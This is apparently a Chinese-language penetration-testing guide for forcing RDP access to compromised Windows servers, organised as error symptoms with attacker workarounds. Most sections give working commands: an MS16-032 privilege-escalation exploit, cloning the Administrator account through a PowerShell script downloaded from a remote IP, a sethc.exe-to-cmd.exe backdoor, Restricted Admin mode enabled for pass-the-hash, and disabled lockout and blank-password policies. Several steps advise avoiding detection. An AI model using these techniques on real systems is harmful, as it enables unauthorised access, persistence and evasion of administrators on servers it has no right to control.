症状说明
User Profile Service服务未能登录(2008)。或者服务登录失败(2012/16)。无法加载用户配置文件。
图3-2-1 无法加载用户配置文件
问题原因
有人说是注册表、组策略、服务或权限的问题。而笔者发现可能是因为“C盘磁盘空间不足”造成,或者是将“C:\Users\Default”文件夹删除后再进行3389远程桌面连接时就会出现上图报错提示。
图3-2-2 删除C:\Users\Default目录
解决方案
(1) UserClone克隆管理员
cC:\ProgramData\MS16-032_x64.exe "C:\ProgramData\UserClone.exe 90sec Administrator /clone"
[#] ms16-032 for service by zcgonvh
[+] SeAssignPrimaryTokenPrivilege was assigned
[!] process with pid: 2156 created.
==============================
****************************************************
UserClone Ver 0.1
Coded by wlozz
http://www.darkst.com
****************************************************
Clone Success!
(2) PowerShell克隆管理员
cC:\ProgramData\> powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103/Clone.ps1'); Create-Clone -u 90sec -p shadow****
[*] Start
[*] Tring to change reg privilege !
[*] Create User...
[*] Creating new local user 90sec with password shadow****
[*] Adding local user 90sec to Administrators.
[*] Ensuring password for 90sec never expires.
[*] Get User 90sec's Key ..
[!] 000004c1
[*] Get User administrator's Key ..
[!] 000001f4
[*] Clone User..
[*] Get clone user'F value
[*] Change user'F value
[*] Delete User..
[*] Change reg privilege back !
[*] Done
症状说明
在连接桌面连接时遇到错误"由于数据加密错误,这个会话将结束。请重新连接到远程计算机。"
图3-2-3 由于数据加密错误
问题原因
Icaapi.dll和Rdpwsx.dll动态链接库(DLL)之间潜在的争用条件可能会导致终端服务服务器上的证书私钥不同步。
解决方案
以下方法摘自网络,笔者并没有亲测,或者可以尝试用Linux下的rdesktop重新连接3389远程桌面。
bash1) 启动注册表编辑器,找到并单击下面的注册表子项。 HKLM\System\CurrentControlSet\Services\TermService\Parameters 2) 在此注册表子项下,删除下列值,退出注册表编辑器,然后重新启动服务器。 Certificate X509 Certificate X509 Certificate ID
症状说明
由于账户限制,您无法登录。(2003:默认允许空密码!)
图3-2-4 2003空密码报错
登录失败:用户账户限制。可能的原因包括不允许空密码,登录时间限制,或强制的策略限制。(2008:允许运行任意版本远程桌面的计算机连接)
图3-2-5 2008空密码报错-1
出现身份验证错误。无法连接到本地安全机构。远程计算机:192.168.1.108,这可能是由于密码已过期。如果密码已过期,请更新密码。如需帮助,请与管理员或技术支持人员联系。(2008:仅允许运行使用网络级别身份验证的远程桌面的计算机连接)
图3-2-6 2008空密码报错-2
问题原因
本地安全策略中的“帐户: 使用空密码的本地帐户只允许进行控制台登录”选项,意思是不允许空密码的本地账户进行远程登录。≥2008这两个选项默认为已启用状态。
图3-2-7 启用“空密码”登录策略
**注:**Windows8.1/2012 R2操作系统上进行RDP-PTH哈希传递攻击时也会出现这种报错,只需通过注册表方式去开启一下Restricted Admin Mode(受限管理模式)就可以了。
bashreg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
解决方案 (1) 直接修改目标主机的管理员账户密码(不推荐,动静太大,容易被发现!); (2) 通过sethc后门打开secpol.msc本地安全策略进行进行禁用设置(得看目标环境); (3) 通过以下注册表命令查看是否设置了“帐户: 使用空密码的本地帐户只允许进行控制台登录”,0x1为启用,0x0为禁用。导出组策略配置文件查看PasswordComplexity(密码必须符合复杂性要求),0为禁用,1为启用。使用以下注册表和组策略命令来禁用“空密码”远程登录策略;
csharp1、查看注册表
REG query "HKLM\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse
2、导出组策略
C:\inetpub\wwwroot> secedit /export /cfg c:\gp.inf /quiet
3、禁用“帐户: 使用空密码的本地帐户只允许进行控制台登录”
REG add "HKLM\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
图3-2-8 禁用“空密码”登录策略
注:账户限制、账户锁定、账户禁用以及本地安全策略中的“网络访问:本地帐户的共享和安全模型”等选项都可能会提示症状3的报错,可参考:4 由于账户锁定无法登录绕过、5 由于账户禁用无法登录绕过、7 验证错误及凭据无法工作绕过、10 登录类型(网络或交互式)绕过。
症状说明
您的账户已被锁定,您不能登录。请与系统管理员联系(2003)
图3-2-9 2003账户锁定报错
引用的账户当前已锁定,且可能无法登录。(2008:允许运行任意版本远程桌面的计算机连接)
图3-2-10 2008账户锁定报错-1
出现身份验证错误。无法连接到本地安全机构。远程计算机:192.168.1.108,这可能是由于密码已过期。如果密码已过期,请更新密码。如需帮助,请与管理员或技术支持人员联系。(2008:仅允许运行使用网络级别身份验证的远程桌面的计算机连接)
图3-2-11 2008账户锁定报错-2
问题原因
本地安全策略中的“账户锁定”和“密码”策略能够对攻击者常用的“暴力破解攻击”起到一定安全保护作用,但并不能100%阻止暴力破解攻击,设置方法如下!
**注:**1、只要是Remote Desktop Users组的用户都可对其进行暴力破解;2、组策略的账户锁定策略对SMB、RDP协议均有效,暴力破解都会被锁定,但是只对除Administrator以外的用户有效;
图3-2-12 启用“帐户锁定阈值”策略
解决方案
(1) 通过使用secedit命令行导出/修改/导入/更新本地组策略(将以下3项的值全改为0)。
bashC:\inetpub\wwwroot> secedit /export /cfg c:\gp.inf /quiet //导出组策略 C:\inetpub\wwwroot> secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet //导入组策略 C:\inetpub\wwwroot> gpupdate /force //更新组策略 本地安全账户锁定策略项: LockoutBadCount = 3 //账户锁定阈值 ResetLockoutCount = 30 //账户锁定时间 LockoutDuration = 30 //复位账户锁定计数器
症状说明
您的账户已被停用。请向系统管理员咨询(2003、2008)
3-2-13 2003账户禁用报错
登录失败:禁用当前的账户(2008:允许运行任意版本远程桌面的计算机连接)
图3-2-14 2008账户禁用报错-1
出现身份验证错误。无法连接到本地安全机构。远程计算机:192.168.1.108,这可能是由于密码已过期。如果密码已过期,请更新密码。如需帮助,请与管理员或技术支持人员联系。(2008:仅允许运行使用网络级别身份验证的远程桌面的计算机连接)
图3-2-15 2008账户禁用报错-2
问题原因
以上两种情况都是因为来宾或其它账户被禁用了,本地安全策略中的“帐户: 来宾帐户状态”选项,或通过net user guest /active
图3-2-16 禁用“帐户: 来宾帐户状态”
解决方案
(1) 通过DOS命令激活已被禁用的账户:net user guest /active
bashC:\inetpub\wwwroot> secedit /export /cfg c:\gp.inf /quiet //导出组策略 C:\inetpub\wwwroot> secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet //导入组策略 C:\inetpub\wwwroot> gpupdate /force //更新组策略 帐户: 来宾帐户状态 EnableGuestAccount = 1 //Guest是否禁用,0为禁用,1为启用
症状说明
您的密码已过期,必须更改。(2008)
图3-2-17 2008密码过期报错
问题原因
设置了密码策略中的“密码最长使用期限”,当过了设置期限后用户属性会自动勾选“用户下次登录时须更改密码”,进入远程桌面时就会出现上图报错,除非给指定用户设置“密码永不过期”。
图3-2-18 密码最长使用期限
也可以执行以下命令来查看和设置账户策略、指定用户的详细信息等,通过“上次设置密码”和“密码到期”时间来简单判断该用户是否已经过期,如下图。
csharpnet user 90sec1 查看指定用户信息
net Accounts /? 查看/设置账户策略
图3-2-19 查看指定用户信息
解决方案
(1) 直接修改用于连接目标主机3389远程桌面用户的密码,动静太大,易被发现,不推荐使用;
(2) 通过执行以下命令设置密码策略中的“密码最长使用期限”和指定用户的“密码永不过期”;
bashnet accounts /maxpwage:Unlimited
wmic.exe UserAccount Where Name="90sec" Set PasswordExpires="false"
javascriptdim users
'获取所有用户
set users = getobject("winmgmts:{impersonationlevel=impersonate}").instancesof("win32_useraccount")
for each user in users
if user.name = "需要设置的账户名" then
'如果和参数指定的用户名相同,则设置密码永不过期
user.PasswordExpires = False
'提交刚才的修改
user.Put_()
end if
next
图3-2-20 设置密码永不过期
症状说明
出现身份验证错误。无法连接到本地安全机构。远程计算机:192.168.1.108,这可能是由于密码已过期。如果密码已过期,请更新密码。如需帮助,请与管理员或技术支持人员联系。(2008:仅允许运行使用网络级别身份验证的远程桌面的计算机连接)
图3-2-21 2008来宾身份验证报错
RDP远程桌面连接时输入正确的用户名和密码后还是提示:你的凭据不工作,之前用于连接到192.168.1.108的凭据无法工作。请输入新的凭据。
图3-2-22 2008凭据无法工作报错
问题原因
secpol.msc->本地策略->安全选项->网络访问:本地帐户的共享和安全模型->仅来宾 - 本地用户以来宾身份验证,对应的注册表键值为:HKLM\SYSTEM\CurrentControlSet\Control\Lsa的forceguest,0为经典,1为仅来宾。
图3-2-23 本地帐户的共享和安全模型
解决方案
通过注册表命令将HKLM\SYSTEM\CurrentControlSet\Control\Lsa注册表项forceguest值改为0即可。
bashC:\inetpub\wwwroot> REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v forceguest /t REG_DWORD /d 0 /f
**网络级别身份验证: **NLA,Network Level Authentication是提供给远程桌面连接的一种新安全验证机制,可以在终端桌面连接及登录画面出现前预先完成用户验证程序,由于提前验证部分仅需要使用到较少的网络资源,因此可以有效防范黑客与恶意程序的攻击,同时降低阻断服务攻击(DoS)的机会。
图 3-2-24 2008/2012网络级别身份验证
症状说明
远程计算机需要网络级别身份验证,而您的计算机不支持该验证。请联系您的系统管理员或者技术人员来获得帮助。
图 3-2-25 您的计算机不支持网络级别验证
问题原因
≤Remote Desktop Connection 6.0客户端是不支持网络级别身份验证,所以会报错。2003上用Mstsc连接时出现:1、远程连接已超时,2、客户端无法建立跟远程计算机的连接等情况!
图 3-2-26 2008/2012 Mstsc远程连接客户端
解决方案
(1) 建议使用支持RDP 6.1协议的Mstsc远程连接客户端,只需≥Windows Server 2008基本都是OK的。
bash1、在客户端计算机上,必须至少使用“Remote Desktop Connection 6.0”。 2、客户端计算机必须使用支持凭据安全支持提供程序(CredSSP)协议的操作系统(如:Windows7、Windows Vista或Windows XP Service Pack 3)。 3、RD会话主机服务器必须运行Windows Server 2008 R2或Windows Server 2008。
问题补充 使用网络级别身份验证选项已关闭,但发现在3389远程桌面连接时还是需要先验证账户密码后才进入桌面,而不是进入登录界面以后输入账户密码后进入桌面,最终找到问题是出在SecurityLayer、UserAuthentication这两个注册表键值,网络级别身份验证相关设置如下。
c注册表键值:SecurityLayer、UserAuthentication 组策略选项:远程(RDP)连接要求使用指定的安全层、要求使用网络级别的身份验证对远程连接的用户进行身份验证 计算机属性中的远程设置:允许运行任意版本远程桌面的计算机连接(较不安全)
图 3-2-27 SecurityLayer/UserAuthentication
UserAuthentication值为1时开启网络级别验证,为0时关闭网络级别验证。如果UserAuthentication为0,而SecurityLayer为1或2,使用Windows10的mstsc连接时还是需要先进行凭据验证后才可进入,而Kali下的rdesktop可以不用经过凭据验证直接进入到登录界面。
c1、UserAuthentication使用网络级别身份验证(0:关闭、1:开启)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f
2、SecurityLayer安全层身份验证方式(0:RDP、1:协商、2:SSL)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v SecurityLayer /t REG_DWORD /d 0 /f
图 3-2-28 绕过SecurityLayer安全层身份验证
症状说明
由于在客户端检测到一个协议错误(代码0x1104),这个会话将被中断。请重新连接到远程计算机。
图3-2-29 协议错误(代码0x1104)
问题原因
3389远程桌面端口被其它程序所占用(如:IIS),通过以下方法可以看到TermService服务PID和3389端口PID是不一样的,所以在连接时会出现上图报错,但也有可能是其它原因造成的。
图3-2-30 远程端口与网站端口冲突
解决方案
c1、 修改远程桌面端口号
C:\> REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 9527 /f
C:\> REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 9527 /f
2、 重启远程桌面服务并设置防火墙出入站规则
C:\> net stop TermService /y
C:\> net start TermService
C:\> netsh advfirewall firewall add rule name=3389RDP protocol=tcp dir=in localport=9527 action=allow
注意事项
症状说明
系统管理员已经限制你可以使用的登录类型(网络或交互式)。请与系统管理员或技术支持联系获得协助。(目标主机为Windows10)
图3-2-31 限制登录类型(网络或交互式)
出现身份验证错误。无法连接到本地安全机构。远程计算机:192.168.1.108,这可能是由于密码已过期。如果密码已过期,请更新密码。如需帮助,请与管理员或技术支持人员联系。(目标主机为Windows2008:仅允许运行使用网络级别身份验证的远程桌面的计算机连接)
图3-2-32 2008拒绝从网络访问计算机
问题原因
启用了Guest来宾用户,但在组策略的用户权限分配中设置了“拒绝从网络访问这台计算机”,默认值为: Guest,可自行添加用户,所以在3389远程桌面连接时可能会出现上图报错。
图3-2-33“拒绝从网络访问这台计算机”
解决方案
(1) 通过注册表方式解决该问题
HKLM\SECURITY注册表项只有SYSTEM有完全控制权限,且这种方式需要重启才生效,不过我们可以利用LsaEnumerateAccountRights、LsaRemoveAccountRights等API来修改安全规则,不用重启。
c1、查询Guest用户SID值
reg query HKLM\SECURITY\Policy\Accounts
2、备份SID-501注册表项
reg export "HKLM\SECURITY\Policy\Accounts\S-1-5-21-4049008013-1881575420-2361232302-501" C:\Guest.reg /y
3、删除SID-501注册表项
reg delete "HKLM\SECURITY\Policy\Accounts\S-1-5-21-4049008013-1881575420-2361232302-501"
4、导入SID-501注册表项
regedit -s C:\Guest.reg
https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaremoveaccountrights (2) 通过组策略方式解决该问题
c1、导出组策略
C:\inetpub\wwwroot> secedit /export /cfg c:\gp.inf /quiet
2、导入组策略
C:\inetpub\wwwroot> secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet
3、更新组策略
C:\inetpub\wwwroot> gpupdate /force
拒绝从网络访问这台计算机: 说明:此安全设置确定要防止哪些用户通过网络访问计算机。如果用户帐户受制于此策略设置和“从网络访问此计算机”策略设置,则前者会取代后者。
cSeDenyNetworkLogonRight = Guest
图3-2-34 SeDenyNetworkLogonRight选项
症状说明
要登录到这台远程计算机,您必须拥有这台计算机上的"终端服务器用户访问"权限。在默认情况下,"远程桌面用户"组的成员拥有这些权限。如果您不是"远程桌面用户"组或其他拥有这些权限的组的成员,或者如果"远程桌面用户"组没有这些权限,您必须被手动授予这些权限。
图3-2-35 2003您必须被手动授予这些权限
解决方案
c1、替换目标主机上的sethc.exe为cmd.exe命令行。
C:\inetpub\wwwroot> MS16-032_x64.exe "copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe"
2、远程桌面登录按5下shift键弹出cmd.exe命令行。
C:\Windows\system32> tscc.msc //终端服务配置
3、"连接"->"RDP-Tcp,tcp,Microsoft RDP 5.2"->"权限"->添加用户或组,授予相关权限。
4、重新登录服务器(mstsc /admin /v:192.168.1.103)。
图3-2-36 终端服务配置授予用户相关权限
症状说明
您已经被拒绝登录到终端服务器。要解决这个问题,管理员必须在“终端服务器配置文件”设置选项卡中清除“拒绝这个用户登录到任何终端服务器”复选框。可以在“Active Directory 用户和计算机”或“本地用户和组”的用户属性对话框中找到这个选项卡。(**注:**下图报错提示一般出现在域环境中)
图3-2-37 您已经被拒绝登录到终端服务器
解决方案
bash1、替换目标主机上的sethc.exe为cmd.exe命令行。
C:\inetpub\wwwroot> MS16-032_x64.exe "copy c:\windows\system32\cmd.exe c:\windows\system32\
sethc.exe"
2、远程桌面登录按5下shift键弹出cmd.exe命令行。
C:\Windows\system32> lusrmgr.msc //本地用户和组
C:\Windows\system32> dsa.msc //Active Directory用户和计算机
3、在管理员用户的“终端服务配置文件”中将“拒绝这个用户登录到任何终端服务器”选项取消。
4、重新登录服务器(mstsc /admin /v:192.168.1.103)。
图3-2-38 拒绝这个用户登录到任何终端服务器